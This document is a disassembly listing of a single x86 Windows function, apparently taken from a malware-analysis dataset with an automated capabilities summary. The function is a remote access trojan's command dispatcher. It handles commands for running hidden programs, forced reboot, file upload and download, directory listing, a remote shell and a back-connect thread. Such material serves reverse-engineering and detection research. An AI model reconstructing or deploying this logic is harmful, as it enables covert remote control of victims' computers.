Function at 0x4067b0
Capabilities:
Check if file exists
Create process on windows
Create thread

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
lea edx, [ebp - 0x56c]
xor edi, edi
push esi
xor esi, esi
push ebx
sub esp, 0x62c
mov ebx, 0x100
mov dword [ebp - 0x56c], ecx
mov dword [esp + 0x14], ebx
lea ebx, [ebp - 0x118]
mov dword [esp + 0xc], esi
mov esi, ebx
mov dword [esp + 8], edi
mov edi, str.exec_show
mov dword [esp + 0x10], ebx
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004092c0
cld
mov ecx, 0xa
repe cmpsb byte [esi], byte es:[edi]
je 0x406a20
cld
mov edi, str.exec_hide
mov esi, ebx
mov ecx, 0xa
repe cmpsb byte [esi], byte es:[edi]
je 0x406946
cld
mov edi, str.reboot
mov esi, ebx
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x406bd0
cld
mov edi, str.msgbox
mov esi, ebx
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x406c50
cld
mov edi, str.tray_open
mov esi, ebx
mov ecx, 0xa
repe cmpsb byte [esi], byte es:[edi]
je 0x406b09
cld
mov ecx, 0xb
mov edi, str.tray_close
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x406d1e
cld
mov ecx, 3
mov edi, 0x5059b9
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x406ee4
cld
mov edi, str.upload
mov esi, ebx
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x406fcb
cld
mov ecx, 9
mov edi, str.download
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x406dd4
cld
mov ecx, 6
mov edi, str.shell
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x407259
cld
mov ecx, 0xc
mov edi, str.backconnect
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
seta dl
setb al
cmp dl, al
mov ecx, ebx
je 0x407453
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x4068f0
and edx, 0x8080
jne 0x406916
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, ebx
lea edx, [ecx + 0x20]
mov dword [esp], edx
call fcn.004efcc0
mov dword [esp], eax
mov ecx, str.UNKNOWN_COMMAND_____s_
mov esi, eax
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
mov eax, esi
jmp 0x406a14
mov dword [esp], 0x20
lea esi, [ebp - 0x318]
mov ebx, 0x22
call fcn.004efcc0
mov dword [esp + 0x10], esi
mov edx, 0x22
mov ecx, 0x100
mov dword [esp + 0xc], ebx
mov edi, eax
lea eax, [ebp - 0x56c]
mov dword [esp + 8], edx
mov esi, 0x100
lea ebx, [ebp - 0x218]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], eax
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call fcn.004092c0
mov dword [esp + 0x10], ebx
mov edx, 0x22
lea ecx, [ebp - 0x56c]
mov dword [esp + 0xc], edx
mov eax, 0x22
xor ebx, ebx
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov esi, dword [ebp + 8]
mov dword [esp], esi
lea esi, [ebp - 0x318]
call fcn.004092c0
mov dword [esp + 0x14], ebx
lea eax, [ebp - 0x218]
xor edx, edx
mov dword [esp + 0xc], eax
mov eax, str.open
mov dword [esp + 0x10], edx
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
cmp eax, 2
je 0x406ae6
mov word [edi], 0x4b4f
mov byte [edi + 2], 0
mov eax, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x20
lea ebx, [ebp - 0x218]
mov esi, 0x22
call fcn.004efcc0
mov dword [esp + 0x10], ebx
mov edx, 0x22
mov ecx, 0x100
mov dword [esp + 0xc], esi
mov edi, eax
lea eax, [ebp - 0x56c]
mov dword [esp + 8], edx
mov ebx, 0x100
lea esi, [ebp - 0x318]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], eax
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call fcn.004092c0
mov dword [esp + 0x10], esi
mov edx, 0x22
lea ecx, [ebp - 0x56c]
mov dword [esp + 0xc], edx
mov eax, 0x22
mov esi, 5
mov dword [esp + 0x14], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.004092c0
mov dword [esp + 0x14], esi
lea eax, [ebp - 0x318]
xor edx, edx
mov dword [esp + 0xc], eax
lea esi, [ebp - 0x218]
mov eax, str.open
mov dword [esp + 0x10], edx
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
cmp eax, 2
jne 0x406a09
mov dword [edi], 0x454c4946
mov dword [edi + 4], 0x544f4e20
mov dword [edi + 8], 0x554f4620
mov word [edi + 0xc], 0x444e
mov byte [edi + 0xe], 0
jmp 0x406a12
lea edx, [ebp - 0x338]
mov esi, str.CDAudio
mov eax, 0x2000
mov dword [ebp - 0x330], esi
mov edi, 0x803
lea ebx, [ebp - 0x348]
mov dword [esp + 0xc], edx
mov esi, 0x80d
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], 0
call sub.WINMM.DLL_mciSendCommandA
mov edi, dword [ebp - 0x334]
sub esp, 0x10
mov ecx, 0x100
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ebx
mov ebx, 0x804
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
lea edx, [ebp - 0x348]
mov eax, 1
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x442f4443
mov dword [eax + 4], 0x54204456
mov dword [eax + 8], 0x20594152
mov dword [eax + 0xc], 0x4e45504f
mov word [eax + 0x10], 0x4445
mov byte [eax + 0x12], 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0
mov edx, str.open
xor esi, esi
mov dword [esp + 0x14], esi
xor edi, edi
mov eax, str._r__t_0
mov dword [esp + 0x10], edi
mov ebx, str.shutdown
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x54535953
mov dword [eax + 4], 0x47204d45
mov dword [eax + 8], 0x474e494f
mov dword [eax + 0xc], 0x524f4620
mov dword [eax + 0x10], 0x42455220
mov dword [eax + 0x14], 0x20544f4f
mov dword [eax + 0x18], 0x574f4e
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, 0x22
mov edx, 0x100
lea ecx, [ebp - 0x318]
mov dword [esp + 0xc], esi
mov edi, 0x22
lea esi, [ebp - 0x56c]
mov dword [esp + 0x14], edx
mov ebx, 0x100
mov dword [esp + 0x10], ecx
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004092c0
mov dword [esp + 0x14], ebx
mov ecx, 0x22
mov edx, 0x22
mov dword [esp + 0xc], edx
lea ebx, [ebp - 0x218]
mov dword [esp + 8], ecx
mov dword [esp + 0x10], ebx
mov dword [esp + 4], esi
mov edi, dword [ebp + 8]
mov dword [esp], edi
call fcn.004092c0
mov dword [esp + 8], ebx
lea edx, [ebp - 0x318]
mov eax, 0x40
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x5353454d
mov dword [eax + 4], 0x42454741
mov dword [eax + 8], 0x4420584f
mov dword [eax + 0xc], 0x4c505349
mov dword [eax + 0x10], 0x44455941
mov byte [eax + 0x14], 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, 0x2000
mov esi, str.CDAudio
lea edi, [ebp - 0x338]
mov dword [ebp - 0x330], esi
mov ebx, 0x803
mov esi, 0x80d
mov dword [esp + 8], edx
mov dword [esp + 0xc], edi
lea edi, [ebp - 0x348]
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.WINMM.DLL_mciSendCommandA
mov ebx, dword [ebp - 0x334]
sub esp, 0x10
mov ecx, 0x200
mov dword [esp + 8], ecx
lea eax, [ebp - 0x348]
mov dword [esp + 0xc], eax
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov edx, 1
mov eax, 0x804
mov dword [esp + 8], edx
mov dword [esp + 0xc], edi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x442f4443
mov dword [eax + 4], 0x54204456
mov dword [eax + 8], 0x20594152
mov dword [eax + 0xc], 0x534f4c43
jmp 0x406bba
mov dword [esp], 0x20
mov edi, 0x100
mov ebx, 0x22
call fcn.004efcc0
mov dword [ebp - 0x5c0], eax
mov edx, 0x22
lea eax, [ebp - 0x56c]
mov dword [esp + 0x14], edi
lea edi, [ebp - 0x318]
mov esi, 0x100
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov ebx, 0x22
mov dword [esp + 0x10], edi
mov dword [esp + 4], eax
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call fcn.004092c0
mov dword [esp + 0xc], ebx
lea edx, [ebp - 0x218]
mov eax, 0x22
mov dword [esp + 0x10], edx
lea ecx, [ebp - 0x56c]
lea ebx, [ebp - 0x568]
mov dword [esp + 4], ecx
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov esi, dword [ebp + 8]
mov dword [esp], esi
lea esi, [ebp - 0x56c]
call fcn.004092c0
mov dword [esp + 0x10], ebx
mov ecx, 0x22
mov edx, 0x100
mov dword [esp + 8], ecx
mov eax, 0x22
lea ebx, [ebp - 0x568]
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], esi
mov edx, dword [ebp + 8]
mov dword [esp], edx
call fcn.004092c0
mov dword [esp + 8], ebx
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00403bb0
test al, al
je 0x40742d
mov esi, dword [ebp - 0x5c0]
mov dword [esi], 0x454c4946
mov dword [esi + 4], 0x574f4420
mov dword [esi + 8], 0x414f4c4e
mov dword [esi + 0xc], 0x444544
mov eax, dword [ebp - 0x5c0]
jmp 0x406a14
mov dword [esp], 0x19000
mov esi, 0x22
lea ebx, [ebp - 0x56c]
call fcn.004efcc0
mov dword [esp + 0xc], esi
lea ecx, [ebp - 0x318]
mov edx, 0x22
mov dword [esp + 0x10], ecx
mov edi, eax
mov eax, 0x100
mov dword [esp + 0x14], eax
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004092c0
lea ecx, [ebp - 0x318]
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x406f40
and edx, 0x8080
jne 0x406f66
shr eax, 0x10
add ecx, 2
add al, al
lea esi, [ebp - 0x318]
sbb ecx, 3
sub ecx, esi
cmp byte [ecx + ebp - 0x319], 0x5c
je 0x406f92
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov edx, 0x5c
mov word [eax + ebp - 0x318], dx
lea esi, [ebp - 0x318]
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40734f
mov dword [edi], 0x20524944
mov dword [edi + 4], 0x20544f4e
mov dword [edi + 8], 0x4e554f46
mov word [edi + 0xc], 0x44
jmp 0x406a12
mov dword [ebp - 0x5b4], esp
lea ecx, [ebp - 0x318]
mov edx, 0x22
mov dword [esp + 0x10], ecx
mov edi, 0x100
lea eax, [ebp - 0x56c]
mov dword [esp + 8], edx
mov esi, 0x22
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], esi
mov dword [esp + 4], eax
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.004092c0
call fcn.00404380
mov dword [ebp - 0x5b0], eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edi, eax
call fcn.00408f10
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [edi + eax]
lea ecx, [ebp - 0x318]
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407040
and edx, 0x8080
jne 0x407066
shr eax, 0x10
add ecx, 2
add al, al
lea esi, [ebp - 0x318]
sbb ecx, 3
sub ecx, esi
lea eax, [ebx + ecx + 0xa7]
and eax, 0xfffffff0
call fcn.004f1df0
lea ebx, [esp + 0x2b]
and ebx, 0xfffffff0
mov dword [ebp - 0x5b8], ebx
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x407215
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x4070b0
and edx, 0x8080
jne 0x4070d6
shr eax, 0x10
add ecx, 2
add al, al
lea edx, [ebp - 0x318]
sbb ecx, 3
sub ecx, edx
lea eax, [ecx + 0x1e]
and eax, 0xfffffff0
call fcn.004f1df0
lea edi, [esp + 0x2b]
and edi, 0xfffffff0
lea ecx, [ebp - 0x318]
nop
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x407100
and edx, 0x8080
jne 0x407126
shr eax, 0x10
add ecx, 2
add al, al
lea esi, [ebp - 0x318]
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + 0x1e]
and eax, 0xfffffff0
call fcn.004f1df0
mov dword [esp + 0xc], edi
lea ebx, [esp + 0x2b]
xor edx, edx
mov dword [esp + 4], edx
xor ecx, ecx
and ebx, 0xfffffff0
mov dword [esp + 8], ecx
lea eax, [ebp - 0x318]
mov esi, 0x505a13
mov dword [esp + 0x10], ebx
mov dword [esp], eax
call sub.msvcrt.dll__splitpath
call fcn.00408f10
mov dword [esp + 0x10], eax
mov ecx, 0x505a20
mov dword [esp + 0xc], esi
mov esi, 0x505a3f
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], edi
mov edi, dword [ebp - 0x5b0]
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov ebx, dword [ebp - 0x5b8]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov edx, 0x505a4b
lea eax, [ebp - 0x318]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov edi, dword [ebp - 0x5b8]
mov dword [esp], edi
call fcn.00405640
mov ecx, dword [ebp - 0x5b0]
test ecx, ecx
je 0x4071e4
mov edi, dword [ebp - 0x5b0]
mov dword [esp], edi
call fcn.004efd60
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x454c4946
mov dword [eax + 4], 0x4c505520
mov dword [eax + 8], 0x4544414f
mov word [eax + 0xc], 0x44
mov esp, dword [ebp - 0x5b4]
jmp 0x406a14
mov ebx, dword [ebp - 0x5b0]
test ebx, ebx
je 0x40722d
mov edx, dword [ebp - 0x5b0]
mov dword [esp], edx
call fcn.004efd60
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x454c4946
mov dword [eax + 4], 0x544f4e20
mov dword [eax + 8], 0x554f4620
mov word [eax + 0xc], 0x444e
mov byte [eax + 0xe], 0
jmp 0x40720a
mov dword [esp], 0x100
mov esi, 0x22
mov ebx, 0x22
call fcn.004efcc0
mov dword [esp + 8], esi
mov ecx, 8
lea edx, [ebp - 0x578]
mov dword [esp + 0x14], ecx
lea esi, [ebp - 0x56c]
mov edi, eax
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov ebx, 0x22
mov dword [esp + 4], esi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004092c0
mov dword [esp + 0x10], edi
mov edx, 0x22
mov ecx, 0x100
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], ecx
mov dword [esp + 8], ebx
mov ebx, 0x406690
mov dword [esp + 4], esi
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [esp], eax
call fcn.004092c0
lea ecx, [ebp - 0x578]
mov dword [esp], ecx
call sub.msvcrt.dll_atoi
mov dword [0x536130], eax
xor edx, edx
xor eax, eax
mov dword [0x536138], edi
xor edi, edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x56524553
mov dword [eax + 4], 0x54205245
mov dword [eax + 8], 0x41455248
mov dword [eax + 0xc], 0x41432044
mov dword [eax + 0x10], 0x44454c4c
mov byte [eax + 0x14], 0
jmp 0x406d16
mov dword [ebp - 0x5a8], esp
mov eax, str.Listing_of__s:_n_n
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
mov ecx, esi
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x40736c
and edx, 0x8080
jne 0x407392
shr eax, 0x10
add ecx, 2
add al, al
lea esi, [ebp - 0x318]
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.004f1df0
lea ebx, [esp + 0x2b]
mov ecx, str._s.
and ebx, 0xfffffff0
mov dword [esp + 4], ecx
lea eax, [ebp - 0x318]
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
lea edx, [ebp - 0x468]
mov dword [esp + 4], edx
call sub.msvcrt.dll__findfirst
test eax, eax
mov ebx, eax
je 0x407422
lea esi, [ebp - 0x454]
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll_strcat
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov word [eax + edi], 0xa
lea edx, [ebp - 0x468]
mov dword [esp + 4], edx
mov dword [esp], ebx
call sub.msvcrt.dll__findnext
test eax, eax
je 0x4073ea
mov dword [esp], ebx
call sub.msvcrt.dll__findclose
mov esp, dword [ebp - 0x5a8]
jmp 0x406a12
mov ecx, dword [ebp - 0x5c0]
mov dword [ecx], 0x4e574f44
mov dword [ecx + 4], 0x44414f4c
mov dword [ecx + 8], 0x49414620
mov dword [ecx + 0xc], 0x44454c
jmp 0x406ed9
mov dword [esp], 0x100
mov edi, 8
mov esi, 0x22
call fcn.004efcc0
mov dword [ebp - 0x5cc], eax
mov dword [esp], 0x100
call fcn.004efcc0
mov dword [ebp - 0x5d0], eax
mov edx, 0x22
lea eax, [ebp - 0x56c]
mov dword [esp + 0x14], edi
lea edi, [ebp - 0x580]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
lea ebx, [ebp - 0x56c]
call fcn.004092c0
mov ecx, 0x100
mov edx, 0x22
mov eax, 0x22
mov dword [esp + 0x14], ecx
mov esi, dword [ebp - 0x5cc]
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebx
mov ebx, 0x22
mov dword [esp + 0x10], esi
mov esi, 0x100
mov dword [esp + 8], eax
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call fcn.004092c0
mov dword [esp + 0x14], esi
lea ecx, [ebp - 0x56c]
mov eax, 0x22
mov edx, dword [ebp - 0x5d0]
mov dword [esp + 8], ebx
mov ebx, 0x22
mov dword [esp + 0x10], edx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
mov esi, dword [ebp + 8]
mov dword [esp], esi
lea esi, [ebp - 0x56c]
call fcn.004092c0
mov dword [esp + 0xc], ebx
mov ecx, 0x22
mov edx, 8
mov dword [esp + 8], ecx
lea eax, [ebp - 0x588]
mov dword [esp + 4], esi
xor esi, esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov edx, dword [ebp + 8]
mov dword [esp], edx
call fcn.004092c0
mov dword [esp], edi
xor edi, edi
call sub.msvcrt.dll_atoi
mov dword [0x536148], eax
mov ebx, dword [ebp - 0x5d0]
lea ecx, [ebp - 0x588]
mov eax, dword [ebp - 0x5cc]
mov dword [0x536140], ebx
xor ebx, ebx
mov dword [0x53614c], eax
mov dword [esp], ecx
call sub.msvcrt.dll_atoi
mov dword [0x53613c], eax
xor edx, edx
mov eax, 0x406570
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp], 0x20
call fcn.004efcc0
mov dword [eax], 0x4e4e5554
mov dword [eax + 4], 0x54204c45
jmp 0x407331